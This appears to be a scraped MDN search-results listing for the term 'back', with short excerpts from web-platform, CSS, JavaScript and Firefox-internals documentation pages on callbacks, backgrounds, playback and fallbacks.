back audio which has particularly stringent timing accuracy requirements, such as for sounds that must match a specific rhythm and can be kept in memory rather than being played from disk or the network.
... to play sounds which require accurate timing but must be streamed from the network or played from disk, use a audioworkletnode to implement its play
back.
... audiobuffersourcenode.detune is a k-rate audioparam representing detuning of play
back in cents.
...And 7 more matches
Basic usage of canvas - Web APIs
the <canvas> element can be styled just like any normal image (margin, border,
background…).
... fall
back content the <canvas> element differs from an <img> tag in that, like for <video>, <audio>, or <picture> elements, it is easy to define some fall
back content, to be displayed in older browsers not supporting it, like versions of internet explorer earlier than version 9 or textual browsers.
... you should always provide fall
back content to be displayed by those browsers.
...And 7 more matches
Introduction to the File and Directory Entries API - Web APIs
it can improve performance by letting an app pre-fetch assets in the
background and cache locally.
... the app pre-fetches assets in the
background, so the user can go to the next task or game level without waiting for a download.
...using the file and directory entries api, you need to understand a few concepts: the file and directory entries api is a virtual representation of a file system the file and directory entries api can use different storage types browsers impose storage quota the file and directory entries api has asynchronous and synchronous versions when using the asynchronous api, always use the error call
backs the file and directory entries api interacts with other apis the file and directory entries api is case-sensitive the file and directory entries api is a virtual representation of a file system the api doesn't give you access to the local file system, nor is the sandbox really a section of the file system.
...And 7 more matches
Using the Geolocation API - Web APIs
when the position is determined, the defined call
back function is executed.
... you can optionally provide a second call
back function to be executed if an error occurs.
... watching the current position if the position data changes (either by device movement or if more accurate geo information arrives), you can set up a call
back function that is called with that updated position information.
...And 7 more matches
msAudioCategory - Web APIs
msaudiocategory specifies the purpose of the audio or video media, such as
background audio or alerts.
... syntax <audio controls="controls" msaudiocategory="
backgroundcapablemedia"> </audio> the msaudiocategory property offers a variety of values that can enhance the behavior of your audio-aware app.
... value description
background capable?
...And 7 more matches
LocalFileSystem - Web APIs
the argument of a successful call
back is the filesystem object, which has two properties: the name and root of the file system.
...for example, if you were to create a mail app, you might create a temporary storage for caching assets (like images and attachments) to speed up performance, while creating persistent storage for unique data—such as drafts of emails that were composed while offline—that should not be lost before they are
backed up into the cloud.
... //taking care of the browser-specific prefix window.requestfilesystem = window.requestfilesystem || window.webkitrequestfilesystem; // the first parameter defines the type of storage: persistent or temporary // next, set the size of space needed (in bytes) // initfs is the success call
back // and the last one is the error call
back // for denial of access and other errors.
...And 7 more matches
WebGL2RenderingContext - Web APIs
transform feed
back webgl2renderingcontext.createtransformfeed
back() creates and initializes webgltransformfeed
back objects.
... webgl2renderingcontext.deletetransformfeed
back() deletes a given webgltransformfeed
back object.
... webgl2renderingcontext.istransformfeed
back() returns true if the passed object is a valid webgltransformfeed
back object.
...And 7 more matches
WebGL best practices - Web APIs
use this if you are finished with any contexts, such as probe contexts, or if you hit a fall
back case.
...(this is okay for read buffers in conjunction with fences - see async data read
back below.) readpixels() to the cpu (i.e.
...instead, use gpu-gpu readpixels in conjunction with async data read
back.
...And 7 more matches
WebGL model view projection - Web APIs
try drawing a picture like a boxy smiley face with a
background.
...when the w component is a non-zero real number then homogeneous coordinate easily translates
back into a normal point in cartesian space.
... the clipping of points and polygons from clip space actually happens after the homogeneous coordinates have been transformed
back into cartesian coordinates (by dividing by w).
...And 7 more matches
Geometry and reference spaces in WebXR - Web APIs
the following code snippet shows two simple functions, degreestoradians() and radianstodegrees(), which convert
back and forth between the two units for measuring angles.
... a space will typically have foreground, mid-distance, and
background elements.
...the
background, on the other hand, is usually largely or entirely non-interactive, at least until and unless the user is able to approach it, bringing it into the mid-distance or foreground range.
...And 7 more matches
Inputs and input sources - Web APIs
xrsession.addeventlistener("inputsourceschange", event => { inputsourcelist = event.session.inputsources; inputsourcelist.foreach(source => { switch(source) { case "left": lefthandsource = source; break; case "right": righthandsource = source; break; } }); }); the inputsourceschange event is also fired once when the session's creation call
back first completes execution, so you can use it to fetch the input source list as soon as it's available at startup time.
...you would then look at each input source and find one matching this, if available, falling
back to another controller if no controller is in that hand.
... { "profileid": "generic-trigger-squeeze-touchpad", "fall
backprofileids": [], "layouts" : { "left-right-none" : { "selectcomponentid": "xr-standard-trigger", "components": { "xr-standard-trigger": { "type": "trigger" }, "xr-standard-squeeze": { "type": "squeeze" }, "xr-standard-touchpad": { "type": "touchpad" } }, "gamepad": { "mapping...
...And 7 more matches
Window.requestAnimationFrame() - Web APIs
the method takes a call
back as an argument to be invoked before the repaint.
... note: your call
back routine must itself call requestanimationframe() if you want to animate another frame at the next repaint.
...the number of call
backs is usually 60 times per second, but will generally match the display refresh rate in most web browsers as per w3c recommendation.
...And 7 more matches
Synchronous and asynchronous requests - Web APIs
asynchronous request if you use an asynchronous xmlhttprequest, you receive a call
back when the data has been received.
...the call
back routine is called whenever the state of the request changes.
... function xhrsuccess() { this.call
back.apply(this, this.arguments); } function xhrerror() { console.error(this.statustext); } function loadfile(url, call
back /*, opt_arg1, opt_arg2, ...
...And 7 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
.wrapper { display: grid; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } all the direct children are now grid items.
... <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: 200px 200px 200px; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } the fr unit tracks can be defined using any length unit.
... <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } in this next example, we create a definition with a 2fr track then two 1fr tracks.
...And 7 more matches
Video player styling basics - Developer guides
basic styling the html video and its controls are all contained within a <figure> element, which is given a maximum width and height (based on the dimensions of the video used) and centered within the page: figure { max-width:64rem; width:100%; max-height:30.875rem; height:100%; margin:1.25rem auto; padding:1.051%;
background-color:#666; } the video controls container itself also needs some styling so that it is set up the correct way: .controls { width:100%; height:8.0971659919028340080971659919028%; /* of figure's height */ position:relative; } the height of the .controls class is set to be (a very precise!) percentage of the enclosing <figure> element (this was worked out with experimentation base...
... each button has some basic styling: .controls button { border:none; cursor:pointer;
background:transparent;
background-size:contain;
background-repeat:no-repeat; } by default, all <button> elements have a border, so this is removed.
... since
background images will be used to display appropriate icons, the
background colour of the button is set to be transparent, non-repeated, and the element should fully contain the image.
...And 7 more matches
Audio and video manipulation - Developer guides
var processor = { timercall
back: function() { if (this.video.paused || this.video.ended) { return; } this.computeframe(); var self = this; settimeout(function () { self.timercall
back(); }, 16); // roughly 60 frames per second }, doload: function() { this.video = document.getelementbyid("my-video"); this.c1 = document.getelementbyid("my-canvas"); this.ctx1 = this.c1.getcontext...
...("2d"); var self = this; this.video.addeventlistener("play", function() { self.width = self.video.width; self.height = self.video.height; self.timercall
back(); }, false); }, computeframe: function() { this.ctx1.drawimage(this.video, 0, 0, this.width, this.height); var frame = this.ctx1.getimagedata(0, 0, this.width, this.height); var l = frame.data.length / 4; for (var i = 0; i < l; i++) { var grey = (frame.data[i * 4 + 0] + frame.data[i * 4 + 1] + frame.data[i * 4 + 2]) / 3; frame.data[i * 4 + 0] = grey; frame.data[i * 4 + 1] = grey; frame.data[i * 4 + 2] = grey; } this.ctx1.putimagedata(frame, 0, 0); return; } }; once the page has loaded you can call processor.doload() result this is a pretty...
... play
back rate we can also adjust the rate that audio and video plays at using an attribute of the <audio> and <video> element called play
backrate.
...And 7 more matches
<input type="date"> - HTML: Hypertext Markup Language
it then reads that value
back in string and number formats.
...the interfaces generally don't let you enter anything that isn't a date — which is helpful — but you can leave the field empty or enter an invalid date in browsers where the input falls
back to type text (like the 32nd of april).
...this should work in most browsers, even if they fall
back to a text input.
...And 7 more matches
Array.prototype.filter() - JavaScript
syntax let newarray = arr.filter(call
back(element[, index, [array]])[, thisarg]) parameters call
back function is a predicate, to test each element of the array.
... thisargoptional value to use as this when executing call
back.
... description filter() calls a provided call
back function once for each element in an array, and constructs a new array of all the values for which call
back returns a value that coerces to true.
...And 7 more matches
Array.prototype.find() - JavaScript
syntax arr.find(call
back(element[, index[, array]])[, thisarg]) parameters call
back function to execute on each value in the array, taking 3 arguments: element the current element in the array.
... thisarg optional object to use as this inside call
back.
... description the find method executes the call
back function once for each index of the array until the call
back returns a truthy value.
...And 7 more matches
TypedArray.prototype.filter() - JavaScript
syntax typedarray.filter(call
back[, thisarg]) parameters call
back function to test each element of the typed array.
... thisarg optional value to use as this when executing call
back.
... description the filter() method calls a provided call
back function once for each element in a typed array, and constructs a new typed array of all the values for which call
back returns a true value.
...And 7 more matches
Index - Archive of obsolete content
16 alternating
background xul attributes, xul reference no summary!
... 27
backdrag xul, xul attribute no summary!
... 253 onwizard
back xul attributes, xul reference no summary!
...And 6 more matches
Styling a Tree - Archive of obsolete content
let's say we want a particular row to have a blue
background color.
...the following is the syntax that needs to be used: treechildren::-moz-tree-row(makeitblue) {
background-color: blue; } this style which has a complex selector is used to style the
background color of rows that have the 'makeitblue' property.
...this style rule means, inside a treechildren element, set the
background color to blue for all tree rows that have the 'makeitblue' property.
...And 6 more matches
CSS and JavaScript accessibility best practices - Learn web development
your text color should contrast well with your
background color.
... links hyperlinks — the way you get to new places on the web: <p>visit the <a href="https://www.mozilla.org">mozilla homepage</a>.</p> some very simple link styling is shown below: a { color: #ff0000; } a:hover, a:visited, a:focus { color: #a60000; text-decoration: none; } a:active { color: #000000;
background-color: #a60000; } the standard link conventions are underlined and a different color (default: blue) in their standard state, another color variation when the link has previously been visited (default: purple), and yet another color when the link is activated (default: red).
...the following image shows the highlight in both firefox (a dotted outline) and chrome (a blue outline): you can be creative with link styles, as long as you keep giving users feed
back when they interact with the links.
...And 6 more matches
Advanced text formatting - Learn web development
this is usually a feeling, thought or piece of additional
background information description lists use a different wrapper than the other list types — <dl>; in addition each term is wrapped in a <dt> (description term) element, and each description is wrapped in a <dd> (description definition) element.
...this is usually a feeling, thought, or piece of additional
background information.</dd> </dl> the browser default styles will display description lists with the descriptions indented somewhat from the terms.
...this is usually a feeling, thought, or piece of additional
background information.</dd> <dd>in writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)</dd> </dl> active learning: marking up a set of definitions it's time to try your hand at description lists; add elements to the raw text in the input field so that it appears as a description list in the output field.
...And 6 more matches
HTML table basics - Learn web development
note: styling columns like this is limited to a few properties: border,
background, width, and visibility.
... take the following simple example: <table> <tr> <th>data 1</th> <th style="
background-color: yellow">data 2</th> </tr> <tr> <td>calcutta</td> <td style="
background-color: yellow">orange</td> </tr> <tr> <td>robots</td> <td style="
background-color: yellow">jazz</td> </tr> </table> which gives us the following result: data 1 data 2 calcutta orange robots jazz this isn't ideal, as we have to repeat the styling information across all three cells in the column (we'd probably have a class set on all three in a real project and specify the styling in a separate stylesheet).
...we could create the same effect as we see above by specifying our table as follows: <table> <colgroup> <col> <col style="
background-color: yellow"> </colgroup> <tr> <th>data 1</th> <th>data 2</th> </tr> <tr> <td>calcutta</td> <td>orange</td> </tr> <tr> <td>robots</td> <td>jazz</td> </tr> </table> effectively we are defining two "style columns", one specifying styling information for each column.
...And 6 more matches
Componentizing our Svelte app - Learn web development
dden">show</span> <span>active</span> <span class="visually-hidden">tasks</span> </button> <button class="btn toggle-btn" class:btn__primary={filter === 'completed'} aria-pressed={filter === 'completed'} on:click={()=> filter = 'completed'} > <span class="visually-hidden">show</span> <span>completed</span> <span class="visually-hidden">tasks</span> </button> </div>
back in our todos.svelte component, we want to make use of our filterbutton component.
...that's because the filter variable flows down from the todos component to the filterbutton component through the prop, but changes occurring in the filterbutton component don't flow
back up to its parent — the data binding is one-way by default.
...whenever the user clicks on any filter button, the child will call the onclick handler, passing the selected filter as a parameter,
back up to its parent.
...And 6 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
go
back to app.vue and add the following import statement just below the previous one, inside your <script> element: import todoform from './components/todoform'; you also need to register the new component in your app component — update the components property of the component object so that it looks like this: components: { todoitem, todoform } finally for this section, render y...
... if you fill it out and click the "add" button, the page will post the form
back to the server, but this isn’t really what we want.
...since we're doing all of our processing on the client, there's no server to handle the post
back.
...And 6 more matches
Theme concepts
add the theme image file to the folder: <mytheme> <your_header_image>.<type> create a file called manifest.json in the folder and edit its content as follows: { "manifest_version": 2, "version": "1.0", "name": "<your_theme_name>", "theme": { "images": { "theme_frame": "<your_header_image>.<type>" }, "colors": { "frame": "#ffffff", "tab_
background_text": "#000" } } } where: "frame": is the heading area
background color for your theme.
... "tab_
background_text": the color of the text in the heading area.
...however, rather than creating a very wide image, a better approach is to use a narrower image with a transparent left edge so that it fades to the
background color.
...And 6 more matches
Add-on Repository
these searches are asynchronous; results are passed to the provided searchcall
back object when the search is completed.
... results passed to the searchcall
back object only include add-ons that are compatible with the current application and are not already installed or in the process of being installed.
... to import the add-on repository code module, use: components.utils.import("resource://gre/modules/addonrepository.jsm"); method overview string getrecommendedurl() string getsearchurl(in string searchterms) void cancelsearch() void retrieverecommendedaddons(in integer maxresults, in searchcall
back call
back) void searchaddons(in string searchterms, in integer maxresults, in searchcall
back call
back) properties property type description homepageurl string the url of the repository site's home page.
...And 6 more matches
Multithreading in Necko
in the future, necko may be made thread safe to support changes to gecko that would put some other processing work on
background threads (eg.
...however, most necko protocols utilize
background threads.
...
background threads are used to manage all i/o operations (with the exception of few cases).
...And 6 more matches
Tracing JIT
a fragment represents a single linear code sequence, typically terminating in a jump to another fragment or
back to the beginning of the fragment.
...in this way the assembler can "patch together" multiple fragments, so that program control can flow from one fragment into another, or
back out of generated code and into the interpreter.
...it is important to keep in mind that this pass runs
backwards from the last lins in the input lir code to the first, generating native code in reverse.
...And 6 more matches
JIT Optimization Strategies
if a property has always contained the same uniquely-typed object, then the engine can use the unique type to map
back to a specific object, and eliminate the property access, replacing it with a constant reference to the object.
... inline caches start off as a jump to a separate piece of code called a "fall
back".
... the fall
back calls into the interpreter vm (which is very slow) to perform the operation, and then decides if the operation can be optimized in that particular case.
...And 6 more matches
JS_IterateCompartments
this article covers features introduced in spidermonkey 17 iterate over compartments and call the specified call
back function on every compartment.
... syntax void js_iteratecompartments(jsruntime *rt, void *data, jsiteratecompartmentcall
back compartmentcall
back); name type description cx jsruntime * the runtime of the compartments to iterate over.
... data void * this will be passed as the data parameter of the jsiteratecompartmentcall
back.
...And 6 more matches
mozIAsyncFavicons
method overview void getfaviconurlforpage(in nsiuri apageuri, in nsifavicondatacall
back acall
back); void getfavicondataforpage(in nsiuri apageuri, in nsifavicondatacall
back acall
back); void setandfetchfaviconforpage(in nsiuri apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacall
back acall
back); void replacefavicondata(in nsiuri afaviconuri, [const,array,size_is(ad...
...void getfaviconurlforpage( in nsiuri apageuri, in nsifavicondatacall
back acall
back ); parameters apageuri uri of the page whose favicon's url we're looking up.
... acall
back once we have found the favicon's url, we invoke this call
back.
...And 6 more matches
mozIStorageConnection
method overview void asyncclose([optional] in mozistoragecompletioncall
back acall
back); void begintransaction(); void begintransactionas(in print32 transactiontype); mozistoragestatement clone([optional] in boolean areadonly); void close(); void committransaction(); void createaggregatefunction(in autf8string afunctionname, in long anumarguments, in mozistorageaggregatefunction afunction); mozistorageasyn...
...long anumarguments, in mozistoragefunction afunction); mozistoragestatement createstatement(in autf8string asqlstatement); void createtable(in string atablename, in string atableschema); mozistoragependingstatement executeasync([array, size_is(anumstatements)] in mozistoragebasestatement astatements, in unsigned long anumstatements, [optional] in mozistoragestatementcall
back acall
back ); void executesimplesql(in autf8string asqlstatement); boolean indexexists(in autf8string aindexname); void preload(); obsolete since gecko 1.9 void removefunction(in autf8string afunctionname); mozistorageprogresshandler removeprogresshandler(); void roll
backtransaction(); void setgrowthincrement(in print32 aincrement, ...
... void asyncclose( in mozistoragecompletioncall
back acall
back optional ); parameters acall
back optional an optional call
back handler to be executed when the connection is successfully closed.
...And 6 more matches
nsIChannelEventSink
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) channels will try to get this interface from a channel's notificationcall
backs or, if not available there, from the loadgroup's notificationcall
backs.
...starting in gecko 2.0, that method no longer exists, and instead the asynconchannelredirect() method is called; this uses a call
back to handle redirects asynchronously.
... method overview void asynconchannelredirect(in nsichannel oldchannel, in nsichannel newchannel, in unsigned long flags, in nsiasyncverifyredirectcall
back call
back); void onchannelredirect(in nsichannel oldchannel, in nsichannel newchannel, in unsigned long flags); obsolete since gecko 2.0 constants constant value description redirect_temporary 1 << 0 this is a temporary redirect.
...And 6 more matches
nsIHttpServer
(not supported) * @param function call
back optional call
back */ listen: function(port, opt, call
back) { if (arguments.length == 2 && "function" == typeof opt) { call
back = opt; } if (call
back) { this.registerprefixhandler("/", call
back); } let host = "localhost"; if (typeof port === "string" && port.indexof(':') != ...
...ile); }, registerdirectory : function(path, directorypath) { var file = components.classes['@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwithpath(directorypath); return server.registerdirectory(path, file); }, registerpathhandler: function(path, handlercall
back) { server.registerpathhandler(path, function (request, response) { var req = createhttprequest(request); var resp = new httpresponse(response); handlercall
back(req, resp); }); }, registerprefixhandler: function(prefix, handlercall
back) { server.registerprefixhandler(prefix, function (r...
...equest, response) { var req = createhttprequest(request); var resp = new httpresponse(response); handlercall
back(req, resp); }); }, close: function(){ server.stop(function(){}); }, get port() { return server.identity.primaryport } } } reference : mozilla-release/netwerk/test/httpserver/nsihttpserver.idl [scriptable, uuid(cea8812e-faa6-4013-9396-f9936cbb74ec)] interface nsihttpserver : nsisupports { /** * starts up this server, listening upon the given port.
...And 6 more matches
nsIMsgMessageService
amsgwindow nsimsgwindow for progress and status feed
back return values aurl the new nsiuri of the message.
... aurllistener an nsiurllistener amsgwindow nsimsgwindow for progress and status feed
back return values aurl the new nsiuri of the message.
... amsgwindow nsimsgwindow for progress and status feed
back aurllistener an nsiurllistener acharsetoverride (optional) character set over ride to force the message to use.
...And 6 more matches
Using the CSS Typed Object Model - Web APIs
converting css object model value strings into meaningfully-typed javascript representations and
back (via htmlelement.style) can incur a significant performance overhead.
... <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add javascript to grab our unstyled link and return
back a definition list of all the default css property values impacting the link using computedstylemap().
...we'll take a look at that their types are by employing short javascript snippets outputting to console.log(): :root { --maincolor: hsl(198, 43%, 42%); --black: hsl(0, 0%, 16%); --white: hsl(0,0%,97%); --unit: 1.2rem; } button { --maincolor: hsl(198, 100%, 66%); display: inline-block; padding: var(--unit) calc(var(--unit)*2); width: calc(30% + 20px);
background: no-repeat 5% center url(https://mdn.mozillademos.org/files/16793/magicwand.png) var(--maincolor); border: 4px solid var(--maincolor); border-radius: 2px; font-size: calc(var(--unit)*2); color: var(--white); cursor: pointer; transform: scale(0.95); } let's add the class to a button (a button which does nothing).
...And 6 more matches
Manipulating video using canvas - Web APIs
<!doctype html> <html> <head> <style> body {
background: black; color:#cccccc; } #c2 {
background-image: url(media/foo.png);
background-repeat: no-repeat; } div { float: left; border :1px solid #444444; padding:10px; margin: 10px;
background:#3b3b3b; } </style> </head> <body> <div> <video id="video" src="media/video.mp4" controls="tru...
... canvas c1 is used to display the current frame of the original video, while c2 is used to display the video after performing the chroma-keying effect; c2 is preloaded with the still image that will be used to replace the green
background in the video.
...cument.getelementbyid('video'); this.c1 = document.getelementbyid('c1'); this.ctx1 = this.c1.getcontext('2d'); this.c2 = document.getelementbyid('c2'); this.ctx2 = this.c2.getcontext('2d'); let self = this; this.video.addeventlistener('play', function() { self.width = self.video.videowidth / 2; self.height = self.video.videoheight / 2; self.timercall
back(); }, false); }, this code grabs references to the elements in the xhtml document that are of particular interest, namely the video element and the two canvas elements.
...And 6 more matches
Working with the History API - Web APIs
suppose now that the user navigates to http://google.com, then clicks the
back button.
... if the user clicks
back once again, the url will change to http://mozilla.org/foo.html, and the document will get a popstate event, this time with a null state object.
... here too, going
back doesn't change the document's contents from what they were in the previous step, although the document might update its contents manually upon receiving the popstate event.
...And 6 more matches
MutationObserver.MutationObserver() - Web APIs
the dom mutationobserver() constructor — part of the mutationobserver interface — creates and returns a new observer which invokes a specified call
back when dom events occur.
... syntax const observer = new mutationobserver(call
back) parameters call
back a function which will be called on each dom change that qualifies given the observed node or subtree and options.
... the call
back function takes as input two parameters: an array of mutationrecord objects, describing each change that occurred; and the mutationobserver which invoked the call
back.
...And 6 more matches
Multi-touch interaction - Web APIs
<style> div { margin: 0em; padding: 2em; } #target1 {
background: white; border: 1px solid black; } #target2 {
background: white; border: 1px solid black; } #target3 {
background: white; border: 1px solid black; } </style> global state to support multi-touch interaction, preserving a pointer's event state during various event phases is required.
... in this application, when a pointer is placed down on an element, the
background color of the element changes, depending on the number of active touch points the element has.
... see the update_
background function for more details about the color changes.
...And 6 more matches
Pinch zoom gestures - Web APIs
the pinch in (zoom out) gesture, which moves the two pointers toward each other, changes the target element's
background color to lightblue.
... the pinch out (zoom in) gesture, which moves the two pointers away from each other, changes the target element's
background color to pink.
... <style> div { margin: 0em; padding: 2em; } #target {
background: white; border: 1px solid black; } </style> global state supporting a two-pointer gesture requires preserving a pointer's event state during various event phases.
...And 6 more matches
Using Service Workers - Web APIs
promises can do a variety of things, but all you need to know for now is that if something returns a promise, you can attach .then() to the end and include call
backs inside it for success cases, or you can insert .catch() on the end if you want to include a failure call
back.
... let’s compare a traditional synchronous call
back structure to its asynchronous promise equivalent.
... if (request.status == 200) { resolve(request.response); } else { reject(error('image didn\'t load successfully; error code:' + request.statustext)); } }; request.onerror = () => { reject(error('there was a network error.')); }; request.send(); }); } we return a new promise using the promise() constructor, which takes as an argument a call
back function with resolve and reject parameters.
...And 6 more matches
Multi-touch interaction - Web APIs
<style> div { margin: 0em; padding: 2em; } #target1 {
background: white; border: 1px solid black; } #target2 {
background: white; border: 1px solid black; } #target3 {
background: white; border: 1px solid black; } #target4 {
background: white; border: 1px solid black; } </style> global state tpcache is used to cache touch points for processing outside of the event where they were fired.
...e coordinates var diff1 = math.abs(tpcache[point1].clientx - ev.targettouches[0].clientx); var diff2 = math.abs(tpcache[point2].clientx - ev.targettouches[1].clientx); // this threshold is device dependent as well as application specific var pinch_threshhold = ev.target.clientwidth / 10; if (diff1 >= pinch_threshhold && diff2 >= pinch_threshhold) ev.target.style.
background = "green"; } else { // empty tpcache tpcache = new array(); } } } touch start handler the touchstart event handler caches touch points to support 2-touch gestures.
... ev.preventdefault(); // cache the touch points for later processing of 2-touch pinch/zoom if (ev.targettouches.length == 2) { for (var i=0; i < ev.targettouches.length; i++) { tpcache.push(ev.targettouches[i]); } } if (logevents) log("touchstart", ev, true); update_
background(ev); } touch move handler the touchmove handler calls preventdefault() for the same reason mentioned above, and invokes the pinch/zoom handler.
...And 6 more matches
Starting up and shutting down a WebXR session - Web APIs
otherwise, the polyfill falls
back to an implementation which uses google's cardboard vr api.
...either way, you need to be prepared for the lack of an xr property and either gracefully handle the error or provide some form of fall
back.
... falling
back to the webxr polyfill one fall
back option is the webxr polyfill, provided by the immersive web working group that's in charge of the webxr standardization process.
...And 6 more matches
Window - Web APIs
window.cancelanimationframe() enables you to cancel a call
back previously scheduled with window.requestanimationframe.
... window.cancelidlecall
back() enables you to cancel a call
back previously scheduled with window.requestidlecall
back.
... window.requestidlecall
back() enables the scheduling of tasks during a browser's idle periods.
...And 6 more matches
-moz-image-rect - CSS: Cascading Style Sheets
the -moz-image-rect value for css
background-image lets you use a portion of a larger image as a
background.
... description this property allows you to, for example, use different parts of one larger image as
backgrounds in different parts of your content.
...however, this can be used for any css
background.
...And 6 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
i can use the align-items property on the grid container, to align the items using one of the following values: auto normal start end center stretch baseline first baseline last baseline * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; al...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; } .i...
...the first item in the example demonstrates this default alignment: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; } .i...
...And 6 more matches
conic-gradient() - CSS: Cascading Style Sheets
syntax /* a conic gradient rotated 45 degrees, starting blue and finishing red */ conic-gradient(from 45deg, blue, red); /* a a bluish purple box: the gradient goes from blue to red, but as only the bottom right quadrant is visible, as the center of the conic gradient is in at the top left corner */ conic-gradient(from 90deg at 0 0, blue, red); /* colorwheel */
background: conic-gradient( hsl(360, 100%, 50%), hsl(315, 100%, 50%), hsl(270, 100%, 50%), hsl(225, 100%, 50%), hsl(180, 100%, 50%), hsl(135, 100%, 50%), hsl(90, 100%, 50%), hsl(45, 100%, 50%), hsl(0, 100%, 50%) ); values <angle> preceded by the from keyterm, and taking an angle as its value, defines the gradient rotation in clockwise direction.
... <position> using the same length, order and keyterm values as the
background-position property, the position defines center of the gradient.
...for this reason, conic-gradient() won't work on
background-color and other properties that use the <color> data type.
...And 6 more matches
Media events - Developer guides
event name description abort sent when play
back is aborted; for example, if the media is playing and is restarted from the beginning, this event is sent.
...it will also be fired when play
back is toggled between paused and playing.
... ended sent when play
back completes.
...And 6 more matches
Array.prototype.findIndex() - JavaScript
syntax arr.findindex(call
back( element[, index[, array]] )[, thisarg]) parameters call
back a function to execute on each value in the array until the function returns true, indicating that the satisfying element was found.
... thisarg optional optional object to use as this when executing call
back.
... description the findindex() method executes the call
back function once for every index in the array until it finds the one where call
back returns a truthy value.
...And 6 more matches
TypedArray.prototype.find() - JavaScript
syntax typedarray.find(call
back[, thisarg]) parameters call
back function to execute on each value in the typed array, taking three arguments: element the current element being processed in the typed array.
...object to use as this when executing call
back.
... description the find method executes the call
back function once for each element present in the typed array until it finds one where call
back returns a true value.
...And 6 more matches
TypedArray.prototype.findIndex() - JavaScript
syntax typedarray.findindex(call
back[, thisarg]) parameters call
back function to execute on each value in the typed array, taking three arguments: element the current element being processed in the typed array.
...object to use as this when executing call
back.
... description the findindex method executes the call
back function once for each element present in the typed array until it finds one where call
back returns a true value.
...And 6 more matches
TypedArray.prototype.forEach() - JavaScript
syntax typedarray.foreach(call
back[, thisarg]) parameters call
back function that produces an element of the new typed array, taking three arguments: currentvalue the current element being processed in the typed array.
...value to use as this when executing call
back.
... description the foreach() method executes the provided call
back once for each element present in the typed array in ascending order.
...And 6 more matches
<feComposite> - SVG: Scalable Vector Graphics
th="330" height="195" viewbox="0 0 1100 650" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>example fecomposite - examples of fecomposite operations</title> <desc>four rows of six pairs of overlapping triangles depicting the six different fecomposite operators under different opacity values and different clearing of the
background.</desc> <defs> <desc>define two sets of six filters for each of the six compositing operators.
... the first set wipes out the
background image by flooding with opaque white.
... the second set does not wipe out the
background, with the result that the
background sometimes shines through and is other cases is blended into itself (i.e., "double-counting").</desc> <filter id="overflood" filterunits="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood flood-color="#ffffff" flood-opacity="1" result="flood"/> <fecomposite in="sourcegraphic" in2="
backgroundimage" operator="over" result="comp"/> <femerge> <femergenode in="flood"/> <femergenode in="comp"/> </femerge> </filter> <filter id="inflood" filterunits="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood flood-color="#ffffff" flood-opacity="1" result="flood"/> <fecomposite in="sourcegraphic" in2="
backgroundim...
...And 6 more matches
windows - Archive of obsolete content
to convert
back the other way, from a chrome window to a browserwindow object, use the modelfor() function, exported by the modelfor module.
... here's an example converting from a high-level browserwindow to a chrome window, and then
back the other way: var { modelfor } = require("sdk/model/core"); var { viewfor } = require("sdk/view/core"); var browserwindows = require("sdk/windows").browserwindows; function converttochromeand
back(browserwindow) { // get the chrome window for this browserwindow var chromewindow = viewfor(browserwindow); // now we can use the chrome window api console.log(chromewindow.document.location.href); // -> "chrome://browser/content/browser.xul" // convert
back to the high-level window var highlevelwindow = modelfor(chromewindow); // now we can use the sdk's high-level window api console.log(highlevelwindow.title); } browserwindows.on("open", converttochromeand
back); note that directl...
... optional options: name type onopen function a call
back function that is called when the window has opened.
...And 5 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
